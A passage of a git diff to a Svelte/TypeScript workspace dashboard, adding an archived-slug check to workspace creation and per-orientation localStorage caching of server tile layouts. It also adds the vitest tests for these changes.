+   * through to `ensure`, unchanged.
+   */
+  create(id: string, body?: EnsureWorkspaceRequest): Promise<WorkspaceResult<Workspace>>;
   /** Rename a workspace (display only; id unchanged). */
   rename(id: string, title: string): Promise<WorkspaceResult<Workspace>>;
   /** Set/clear a workspace's default cwd. */
@@ -102,6 +111,12 @@ export function createWorkspaceStore(http: WorkspaceHttp): WorkspaceStore {
       }
     },
 
+    async create(id, body): Promise<WorkspaceResult<Workspace>> {
+      const gate = gateCreate(id, await http.get(id));
+      if (!gate.ok) return { ok: false, error: gate.error };
+      return this.ensure(id, body);
+    },
+
     async ensure(id, body): Promise<WorkspaceResult<Workspace>> {
       const result = await http.ensure(id, body);
       if (result.ok) void this.refresh();
diff --git a/src/features/workspaces/store.test.ts b/src/features/workspaces/store.test.ts
index a44d8a6..faec5bf 100644
--- a/src/features/workspaces/store.test.ts
+++ b/src/features/workspaces/store.test.ts
@@ -1,6 +1,7 @@
 import type { Workspace, WorkspaceEntry } from "@dispatch/wire";
 import { describe, expect, it, vi } from "vitest";
 import type { WorkspaceResult } from "./adapter/http";
+import { archivedCreateMessage, type WorkspaceLookup } from "./logic/create";
 import { createWorkspaceStore } from "./store.svelte";
 
 function entry(overrides: Partial<WorkspaceEntry> = {}): WorkspaceEntry {
@@ -25,14 +26,23 @@ function fakeHttp(opts: {
   unstar?: (id: string) => Promise<WorkspaceResult<Workspace>>;
   archive?: (id: string) => Promise<WorkspaceResult<Workspace>>;
   unarchive?: (id: string) => Promise<WorkspaceResult<Workspace>>;
+  get?: (id: string) => Promise<WorkspaceLookup>;
+  ensure?: (id: string) => Promise<WorkspaceResult<Workspace>>;
 }) {
   return {
     list: vi.fn(
       async (_archived?: "true" | "false" | "all"): Promise<readonly WorkspaceEntry[]> =>
         opts.list ?? [],
     ),
-    ensure: vi.fn(),
-    get: vi.fn(),
+    ensure:
+      opts.ensure ??
+      vi.fn(
+        async (id: string): Promise<WorkspaceResult<Workspace>> => ({
+          ok: true,
+          value: entry({ id }),
+        }),
+      ),
+    get: vi.fn(opts.get ?? (async (): Promise<WorkspaceLookup> => ({ kind: "missing" }))),
     setTitle: vi.fn(),
     setDefaultCwd: vi.fn(),
     setDefaultComputer: vi.fn(),
@@ -224,6 +234,53 @@ describe("createWorkspaceStore — setArchived", () => {
   });
 });
 
+describe("createWorkspaceStore — create (archived-slug gate)", () => {
+  it("refuses an archived slug with the can't-create message and never calls ensure", async () => {
+    const http = fakeHttp({
+      get: async () => ({ kind: "found", workspace: entry({ id: "old", archived: true }) }),
+    });
+    const store = createWorkspaceStore(http);
+
+    const result = await store.create("old");
+
+    expect(result).toEqual({ ok: false, error: archivedCreateMessage("old") });
+    expect(http.ensure).not.toHaveBeenCalled();
+  });
+
+  it("proceeds for an existing non-archived slug (ensure is called as before)", async () => {
+    const http = fakeHttp({
+      get: async () => ({ kind: "found", workspace: entry({ id: "taken", archived: false }) }),
+    });
+    const store = createWorkspaceStore(http);
+
+    const result = await store.create("taken");
+
+    expect(result.ok).toBe(true);
+    expect(http.ensure).toHaveBeenCalledTimes(1);
+  });
+
+  it("proceeds for a brand-new slug (404 → missing)", async () => {
+    const http = fakeHttp({ get: async () => ({ kind: "missing" }) });
+    const store = createWorkspaceStore(http);
+
+    const result = await store.create("fresh");
+
+    expect(result.ok).toBe(true);
+    expect(http.ensure).toHaveBeenCalledTimes(1);
+  });
+
+  it("refuses when the existence check itself failed, without calling ensure (§3.4)", async () => {
+    const http = fakeHttp({ get: async () => ({ kind: "failed", error: "db down" }) });
+    const store = createWorkspaceStore(http);
+
+    const result = await store.create("maybe");
+
+    expect(result.ok).toBe(false);
+    if (!result.ok) expect(result.error).toContain("Couldn't check whether");
+    expect(http.ensure).not.toHaveBeenCalled();
+  });
+});
+
 describe("createWorkspaceStore — refreshArchived", () => {
   it("loads the archived list via list('true') without touching the main list", async () => {
     const http = fakeHttp({ list: [entry({ id: "active", archived: false })] });
diff --git a/src/features/workspaces/tile-layout-store.svelte.ts b/src/features/workspaces/tile-layout-store.svelte.ts
index a910c73..98a5c33 100644
--- a/src/features/workspaces/tile-layout-store.svelte.ts
+++ b/src/features/workspaces/tile-layout-store.svelte.ts
@@ -2,6 +2,7 @@ import type {
   TileLayoutData as ContractTileLayoutData,
   TileGeometryMode,
 } from "@dispatch/tile-layout-contract";
+import { createLocalStore } from "../../adapters/local-storage";
 import type { TileLayoutHttp } from "./adapter/tile-layout-http";
 import {
   type Cell,
@@ -25,7 +26,7 @@ import {
  *
  * - **Orientation selection** — `setMode(mode)` (the home page's effect on
  *   the resolved grid geometry) is the boot + orientation-change trigger:
- *   an orientation CHANGE resets to the local empty default and probes that
+ *   an orientation CHANGE seeds from its cached server layout and probes that
  *   orientation's document fresh. Same-mode calls are a no-op. The store
  *   probes its INITIAL mode on creation (the boot probe).
  * - **Server-backed** — a successful probe applies the server document;
@@ -38,7 +39,7 @@ import {
  *   clients; the client filters by mode).
  * - **Quiet degrade** — any probe/write failure (backend unreachable, routes
  *   not served) keeps the local state with EPHEMERAL edits (in-memory only —
- *   the retired localStorage write path is gone); logged once, no error UI.
+ *   only server-confirmed layouts are cached); logged once, no error UI.
  * - **Sync gating** — `sync(ids)` no-ops while the first probe for an
  *   orientation is in flight (`providerState === "unknown"`): merging the
  *   live workspace list into an unprobed empty document would PUT a wiped
@@ -61,7 +62,7 @@ export interface TileLayoutStore {
   /**
    * Select the active orientation and probe its document. Same-mode calls
    * are a no-op (the boot probe fires on creation for the initial mode);
-   * an orientation CHANGE resets to the local default + probes fresh.
+   * an orientation CHANGE seeds from its cache + probes fresh.
    */
   setMode(mode: TileGeometryMode): void;
   /** Re-probe the ACTIVE orientation's document (reconnect catch-up). */
@@ -96,6 +97,10 @@ export interface TileLayoutStore {
 export interface TileLayoutStoreOptions {
   /** The injected HTTP edge (the `home-tile-layout` plugin's routes). */
   readonly http: TileLayoutHttp;
+  /** Initial viewport orientation (default wide). */
+  readonly initialMode?: TileGeometryMode;
+  /** Injected localStorage for server-layout snapshots; absent → no cache. */
+  readonly storage?: Storage | undefined;
   /** Edit-PUT debounce window in ms (default 300; tests shrink it). */
   readonly debounceMs?: number;
   /** The quiet-failure hook (default `console.warn` — never an error UI). */
@@ -109,11 +114,16 @@ export function createTileLayoutStore(opts: TileLayoutStoreOptions): TileLayoutS
   const debounceMs = opts.debounceMs ?? DEFAULT_DEBOUNCE_MS;
   const warn = opts.warn ?? ((message: string) => console.warn(message));
 
-  let mode = $state<TileGeometryMode>("wide");
+  const cache = {
+    wide: createLocalStore<TileLayoutData>("dispatch.tile-layout.wide", { storage: opts.storage }),
+    tall: createLocalStore<TileLayoutData>("dispatch.tile-layout.tall", { storage: opts.storage }),
+  };
+  const initialMode = opts.initialMode ?? "wide";
+  let mode = $state<TileGeometryMode>(initialMode);
   // The ACTIVE orientation's document — the server's copy once a probe has
   // landed (sanitized defensively; the backend validates strictly), the
-  // empty default until then.
-  let data = $state<TileLayoutData>(sanitizeLayout(null));
+  // cached server snapshot (or empty default) until then. Never PUT the seed.
+  let data = $state<TileLayoutData>(sanitizeLayout(cache[initialMode].load()));
   let providerState = $state<TileLayoutProviderState>("unknown");
 
   /** The last document known to come from the server (GET / WS push / PUT echo) — the rollback target. */
@@ -141,6 +151,7 @@ export function createTileLayoutStore(opts: TileLayoutStoreOptions): TileLayoutS
   function applyServerLayout(next: TileLayoutData): void {
     lastServerLayout = next;
     data = next;
+    cache[mode].save(next);
   }
 
   function clearPutTimer(): void {
@@ -154,7 +165,10 @@ export function createTileLayoutStore(opts: TileLayoutStoreOptions): TileLayoutS
     putTimer = null;
     // Read the CURRENT document at fire time: a newer edit supersedes the
     // debounced snapshot (one in-flight write per window, last wins).
-    const result = await http.putLayout(mode, { version: 2, tiles: data.tiles });
+    const writtenMode = mode;
+    const result = await http.putLayout(writtenMode, { version: 2, tiles: data.tiles });
+    if (result.ok) cache[writtenMode].save(sanitizeLayout(result.layout));
+    if (writtenMode !== mode) return;
     if (result.ok) {
       notePresent();
       // The server's validated echo is the new rollback target.
@@ -227,12 +241,12 @@ export function createTileLayoutStore(opts: TileLayoutStoreOptions): TileLayoutS
     setMode(next) {
       if (next === mode) return;
       mode = next;
-      // The document belongs to the OLD orientation now: reset to the local
-      // default while the probe resolves (never flash the other
+      // The document belongs to the OLD orientation now: seed from this
+      // mode's cache while the probe resolves (never flash the other
       // orientation's arrangement), and drop any queued edit.
       clearPutTimer();
       lastServerLayout = null;
-      data = sanitizeLayout(null);
+      data = sanitizeLayout(cache[mode].load());
       providerState = "unknown";
       void runProbe();
     },
diff --git a/src/features/workspaces/tile-layout-store.test.ts b/src/features/workspaces/tile-layout-store.test.ts
index 15f7a74..b5af8b6 100644
--- a/src/features/workspaces/tile-layout-store.test.ts
+++ b/src/features/workspaces/tile-layout-store.test.ts
@@ -72,9 +72,11 @@ async function flushOnly(): Promise<void> {
 describe("createTileLayoutStore", () => {
   beforeEach(() => {
     vi.useFakeTimers();
+    localStorage.clear();
   });
   afterEach(() => {
     vi.useRealTimers();
+    localStorage.clear();
   });
 
   it("the boot probe applies the server document for the initial mode", async () => {
@@ -86,6 +88,118 @@ describe("createTileLayoutStore", () => {
     expect(store.mode).toBe("wide");
   });
 
+  it("honors the initial tall mode with exactly one probe and no same-mode reset", async () => {
+    const http = fakeHttp({ tall: doc(tile("mobile", 0)) });
+    const get = vi.spyOn(http, "getLayout");
+    const store = createTileLayoutStore({ http, initialMode: "tall" });
+    store.setMode("tall");
+    await flushOnly();
+    expect(get.mock.calls).toEqual([["tall"]]);
+    expect(store.mode).toBe("tall");
+    expect(store.entries).toEqual([tile("mobile", 0)]);
+  });
+
+  it("seeds from cache immediately without PUT or caching edits before revalidation", async () => {
+    const cached = doc(tile("cached", 0, 2, 2));
+    localStorage.setItem("dispatch.tile-layout.tall", JSON.stringify(cached));
+    const http = fakeHttp();
+    const gate: { release?: (result: TileLayoutHttpResult) => void } = {};
+    http.getLayout = () =>
+      new Promise((resolve) => {
+        gate.release = resolve;
+      });
+    const store = createTileLayoutStore({ http, initialMode: "tall", storage: localStorage });
+    expect(store.entries).toEqual(cached.tiles);
+    expect(store.providerState).toBe("unknown");
+
+    store.sync(["cached", "new"]);
+    store.resize("cached", 1, 1);
+    await settle();
+    expect(http.puts).toEqual([]);
+    expect(JSON.parse(localStorage.getItem("dispatch.tile-layout.tall") ?? "null")).toEqual(cached);
+
+    const fresh = doc(tile("server", 0));
+    gate.release?.({ ok: true, layout: fresh });
+    await settle();
+    expect(store.entries).toEqual(fresh.tiles);
+    expect(store.providerState).toBe("present");
+    expect(http.puts).toEqual([]);
+    expect(JSON.parse(localStorage.getItem("dispatch.tile-layout.tall") ?? "null")).toEqual(fresh);
+  });
+
+  it("resets to the new mode's cache and re-probes on orientation change", async () => {
+    const cached = doc(tile("cached-mobile", 0));
+    localStorage.setItem("dispatch.tile-layout.tall", JSON.stringify(cached));
+    const http = fakeHttp({ wide: doc(tile("desktop", 0)) });
+    const get = vi.spyOn(http, "getLayout");
+    const store = createTileLayoutStore({ http, storage: localStorage });
+    await flushOnly();
+
+    store.setMode("tall");
+    expect(store.providerState).toBe("unknown");
+    expect(store.entries).toEqual(cached.tiles);
+    await flushOnly();
+    expect(store.entries).toEqual([]);
+    expect(get.mock.calls).toEqual([["wide"], ["tall"]]);
+  });
+
+  it("caches server GET, WS push, and successful PUT echoes, never unconfirmed edits", async () => {
+    const http = fakeHttp({ wide: doc(tile("a", 0)) });
+    const store = createTileLayoutStore({ http, storage: localStorage });
+    const cached = () => JSON.parse(localStorage.getItem("dispatch.tile-layout.wide") ?? "null");
+    await flushOnly();
+    expect(cached()).toEqual(doc(tile("a", 0)));
+
+    store.onServerTileLayout("tall", doc(tile("ignored", 0)));
+    expect(localStorage.getItem("dispatch.tile-layout.tall")).toBeNull();
+    store.onServerTileLayout("wide", doc(tile("push", 0)));
+    expect(cached()).toEqual(doc(tile("push", 0)));
+
+    store.resize("push", 2, 2);
+    expect(cached()).toEqual(doc(tile("push", 0)));
+    await settle();
+    expect(cached()).toEqual(doc(tile("push", 0, 2, 2)));
+
+    http.failNext.put = "network down";
+    store.resize("push", 1, 1);
+    await settle();
+    expect(cached()).toEqual(doc(tile("push", 0, 2, 2)));
+  });
+
+  it("caches an in-flight PUT echo under its written mode after an orientation change", async () => {
+    const http = fakeHttp({ wide: doc(tile("desktop", 0)), tall: doc(tile("mobile", 0)) });
+    const gate: { release?: (result: TileLayoutHttpResult) => void } = {};
+    http.putLayout = () =>
+      new Promise((resolve) => {
+        gate.release = resolve;
+      });
+    const store = createTileLayoutStore({ http, storage: localStorage });
+    await flushOnly();
+    store.resize("desktop", 2, 2);
+    await settle();
+    store.setMode("tall");
+    await flushOnly();
+    gate.release?.({ ok: true, layout: doc(tile("desktop", 0, 2, 2)) });
+    await flushOnly();
+    expect(store.entries).toEqual([tile("mobile", 0)]);
+    expect(JSON.parse(localStorage.getItem("dispatch.tile-layout.tall") ?? "null")).toEqual(
+      doc(tile("mobile", 0)),
+    );
+    expect(JSON.parse(localStorage.getItem("dispatch.tile-layout.wide") ?? "null")).toEqual(
+      doc(tile("desktop", 0, 2, 2)),
+    );
+  });
+
+  it.each([
+    "invalid JSON",
+    '{"version":2,"tiles":"bad"}',
+  ])("ignores malformed cache (%s) and supports storageless contexts", (raw) => {
+    localStorage.setItem("dispatch.tile-layout.wide", raw);
+    const store = createTileLayoutStore({ http: fakeHttp(), storage: localStorage });
+    expect(store.entries).toEqual([]);
+    expect(createTileLayoutStore({ http: fakeHttp() }).entries).toEqual([]);
+  });
+
   it("sanitizes the server document defensively (a junk shape degrades to empty)", async () => {
     const http = fakeHttp();
     http.docs.set("wide", { junk: true } as unknown as TileLayoutData);
@@ -120,6 +234,8 @@ describe("createTileLayoutStore", () => {
     expect(store.entries.map((t) => t.id)).toEqual(["desktop"]);
 
     store.setMode("tall");
+    expect(store.entries).toEqual([]);
+    expect(store.providerState).toBe("unknown");
     await flushOnly();
     expect(store.mode).toBe("tall");
     expect(store.entries.map((t) => t.id)).toEqual(["mobile"]);
diff --git a/src/features/workspaces/ui/WorkspacesHome.svelte b/src/features/workspaces/ui/WorkspacesHome.svelte
index 630c67f..196e831 100644
--- a/src/features/workspaces/ui/WorkspacesHome.svelte
+++ b/src/features/workspaces/ui/WorkspacesHome.svelte
@@ -12,6 +12,7 @@
   import {
     DEFAULT_VIEWPORT,
     geometryFor,
+    mergeLayout,
     pack,
     type GridGeometry,
     type Span,
@@ -86,11 +87,15 @@
   });
 
   // ── The tile canvas' size decides the geometry (ONE pure function — no
-  // breakpoint classes). Unmeasured (tests) → the default landscape viewport.
+  // breakpoint classes). Start from the viewport, matching the boot probe;
+  // the canvas measurement then refines it (no transient wide reset on phones).
+  const initialViewport = typeof window === "undefined"
+    ? DEFAULT_VIEWPORT
+    : { width: window.innerWidth, height: window.innerHeight };
   let regionEl = $state<HTMLDivElement | undefined>();
   let size = $state<{ width: number; height: number } | undefined>();
   const geometry: GridGeometry = $derived(
-    geometryFor(size?.width ?? DEFAULT_VIEWPORT.width, size?.height ?? DEFAULT_VIEWPORT.height),
+    geometryFor(size?.width ?? initialViewport.width, size?.height ?? initialViewport.height),
   );
 
   $effect(() => {
@@ -115,7 +120,12 @@
 
   // The grid view: the SAME persisted data packs into either geometry —
   // positions re-derive here, spans clamp for the RENDER only.
-  const placements = $derived(pack(tiles.entries, geometry));
+  // Render-only fallback: workspace discovery must not wait for layout GET.
+  // Never sync/commit this provisional arrangement while the probe is unknown.
+  const entries = $derived(tiles.entries.length > 0
+    ? tiles.entries
+    : mergeLayout(null, store.list.map((ws) => ws.id)));
+  const placements = $derived(pack(entries, geometry));
   const workspacesById = $derived(new Map(store.list.map((ws) => [ws.id, ws])));
 
   // ── Selection + action bar ─────────────────────────────────────────────────
@@ -215,12 +225,13 @@
     if (result.ok) deselect();
   }
 
-  // ── Create (header popover): create on the backend — do NOT navigate —
-  // place the new tile in the first empty slot, and go straight into rename.
+  // ── Create (header popover): check the slug resolves to no archived
+  // workspace, create on the backend — do NOT navigate — place the new tile in
+  // the first empty slot, and go straight into rename.
   async function createWorkspace(
     slug: string,
   ): Promise<{ ok: true } | { ok: false; error: string }> {
-    const result = await store.ensure(slug);
+    const result = await store.create(slug);
     if (!result.ok) return { ok: false, error: result.error };
     await store.refresh();
     // Idempotent: if the list refresh's sync already appended the id, this
diff --git a/src/features/workspaces/ui/WorkspacesHome.test.ts b/src/features/workspaces/ui/WorkspacesHome.test.ts
index 6316930..5a66a42 100644
--- a/src/features/workspaces/ui/WorkspacesHome.test.ts
+++ b/src/features/workspaces/ui/WorkspacesHome.test.ts
@@ -4,7 +4,8 @@ import { render, screen, waitFor } from "@testing-library/svelte";
 import userEvent from "@testing-library/user-event";
 import { describe, expect, it, vi } from "vitest";
 import type { WorkspaceHttp, WorkspaceResult } from "../adapter/http";
-import type { TileLayoutHttp } from "../adapter/tile-layout-http";
+import type { TileLayoutHttp, TileLayoutHttpResult } from "../adapter/tile-layout-http";
+import type { WorkspaceLookup } from "../logic/create";
 import { createTileLayoutStore } from "../tile-layout-store.svelte";
 import WorkspacesHome from "./WorkspacesHome.svelte";
 
@@ -24,7 +25,10 @@ function ws(overrides: Partial<WorkspaceEntry> = {}): WorkspaceEntry {
 }
 
 /** A fake WorkspaceHttp edge with a controllable list (no mocks of our modules). */
-function fakeHttp(list: WorkspaceEntry[] = [ws()]): WorkspaceHttp {
+function fakeHttp(
+  list: WorkspaceEntry[] = [ws()],
+  lookup: (id: string) => Promise<WorkspaceLookup> = async () => ({ kind: "missing" }),
+): WorkspaceHttp {
   return {
     list: vi.fn(async (): Promise<WorkspaceEntry[]> => list),
     // Create-on-miss: the backend persists the new workspace, so the next
@@ -33,7 +37,7 @@ function fakeHttp(list: WorkspaceEntry[] = [ws()]): WorkspaceHttp {
       if (!list.some((w) => w.id === id)) list.push(ws({ id, title: id }));
       return { ok: true, value: ws({ id, title: id }) };
     }),
-    get: vi.fn(),
+    get: vi.fn(lookup),
     setTitle: vi.fn(),
     setDefaultCwd: vi.fn(),
     setDefaultComputer: vi.fn(),
@@ -97,6 +101,110 @@ describe("WorkspacesHome (tile canvas)", () => {
     expect([...wrappers].map((el) => el.getAttribute("data-tile-id"))).toEqual(["b", "a"]);
   });
 
+  it.each([
+    false,
+    true,
+  ])("renders before the layout probe resolves (cached: %s)", async (cached) => {
+    const layout = memoryLayout();
+    const gate: { release?: (result: TileLayoutHttpResult) => void } = {};
+    layout.getLayout = vi.fn(
+      () =>
+        new Promise<TileLayoutHttpResult>((resolve) => {
+          gate.release = resolve;
+        }),
+    );
+    const put = vi.spyOn(layout, "putLayout");
+    const stored = {
+      version: 2,
+      tiles: [
+        { id: "b", order: 0, colSpan: 2, rowSpan: 2 },
+        { id: "a", order: 1, colSpan: 1, rowSpan: 1 },
+      ],
+    };
+    const storage = cached ? localStorage : undefined;
+    storage?.setItem("dispatch.tile-layout.tall", JSON.stringify(stored));
+    const width = vi.spyOn(window, "innerWidth", "get").mockReturnValue(390);
+    const height = vi.spyOn(window, "innerHeight", "get").mockReturnValue(844);
+    const tiles = createTileLayoutStore({ http: layout, initialMode: "tall", storage });
+    try {
+      render(WorkspacesHome, {
+        props: {
+          store: (await import("../store.svelte")).createWorkspaceStore(
+            fakeHttp([ws(), ws({ id: "b", title: "B" })]),
+          ),
+          onNavigate: vi.fn(),
+          computers: [],
+          tiles,
+        },
+      });
+      await screen.findByRole("button", { name: "Open workspace A" });
+      await screen.findByRole("button", { name: "Open workspace B" });
+      expect(
+        [...document.querySelectorAll("[data-tile-id]")].map((el) =>
+          el.getAttribute("data-tile-id"),
+        ),
+      ).toEqual(cached ? ["b", "a"] : ["a", "b"]);
+      expect(tiles.providerState).toBe("unknown");
+      expect(tiles.entries).toEqual(cached ? stored.tiles : []);
+      expect(layout.getLayout).toHaveBeenCalledExactlyOnceWith("tall");
+      expect(put).not.toHaveBeenCalled();
+      gate.release?.({
+        ok: true,
+        layout: {
+          version: 2,
+          tiles: stored.tiles
+            .slice()
+            .reverse()
+            .map((tile, order) => ({ ...tile, order })),
+        },
+      });
+      await waitFor(() => {
+        expect(tiles.providerState).toBe("present");
+        expect(tiles.entries.map((tile) => tile.id)).toEqual(["a", "b"]);
+        // CSS-grid coordinates determine visual order; keyed DOM nodes may stay put.
+        expect(document.querySelector('[data-tile-id="a"]')).toHaveStyle("grid-row: 1 / span 1");
+        expect(document.querySelector('[data-tile-id="b"]')).toHaveStyle("grid-row: 2 / span 2");
+      });
+    } finally {
+      width.mockRestore();
+      height.mockRestore();
+      storage?.removeItem("dispatch.tile-layout.tall");
+    }
+  });
+
+  it("re-probes when the canvas changes orientation", async () => {
+    let measure: ResizeObserverCallback = () => {};
+    const observer = vi.spyOn(globalThis, "ResizeObserver").mockImplementation((callback) => {
+      measure = callback;
+      return { observe() {}, unobserve() {}, disconnect() {} };
+    });
+    const layout = memoryLayout();
+    const get = vi.spyOn(layout, "getLayout");
+    const tiles = createTileLayoutStore({ http: layout });
+    try {
+      render(WorkspacesHome, {
+        props: {
+          store: (await import("../store.svelte")).createWorkspaceStore(fakeHttp()),
+          onNavigate: vi.fn(),
+          computers: [],
+          tiles,
+        },
+      });
+      await screen.findByRole("button", { name: "Open workspace A" });
+      measure(
+        [{ contentRect: { width: 390, height: 700 } }] as ResizeObserverEntry[],
+        {} as ResizeObserver,
+      );
+      await waitFor(() => {
+        expect(tiles.mode).toBe("tall");
+        expect(get.mock.calls).toEqual([["wide"], ["tall"]]);
+      });
+      await screen.findByRole("button", { name: "Open workspace A" });
+    } finally {
+      observer.mockRestore();
+    }
+  });
+
   it("clicking a tile navigates to the workspace path", async () => {
     const user = userEvent.setup();
     const onNavigate = vi.fn();
@@ -140,6 +248,36 @@ describe("WorkspacesHome (tile canvas)", () => {
     expect(store.list.map((w) => w.id)).toContain("fresh-ws");
   });
 
+  it("refuses to create an archived slug: message in the popover, form stays open, no tile", async () => {
+    const user = userEvent.setup();
+    const list = [ws({ id: "a", title: "A" })];
+    const http = fakeHttp(list, async (id) => ({
+      kind: "found",
+      workspace: ws({ id, title: id, archived: true }),
+    }));
+    const store = (await import("../store.svelte")).createWorkspaceStore(http);
+    render(WorkspacesHome, {
+      props: {
+        store,
+        onNavigate: vi.fn(),
+        computers: [],
+        tiles: createTileLayoutStore({ http: memoryLayout() }),
+      },
+    });
+
+    await screen.findByRole("button", { name: "Open workspace A" });
+    await user.click(screen.getByRole("button", { name: "New workspace" }));
+    await user.type(screen.getByRole("textbox", { name: "New workspace" }), "old-ws{Enter}");
+
+    expect(await screen.findByText(/already exists and is archived/)).toBeInTheDocument();
+    // The popover stays open (the form/input is still mounted).
+    expect(screen.getByRole("textbox", { name: "New workspace" })).toBeInTheDocument();
+    // Nothing was ensured, no tile appeared, and no rename mode was entered.
+    expect(http.ensure).not.toHaveBeenCalled();
+    expect(store.list.map((w) => w.id)).toEqual(["a"]);
+    expect(screen.queryByLabelText("Workspace title")).toBeNull();
+  });
+
   it("right-clicking a tile opens the action bar; Delete keeps the confirm + store call", async () => {
     const user = userEvent.setup();
     const confirmSpy = vi.spyOn(window, "confirm").mockReturnValue(true);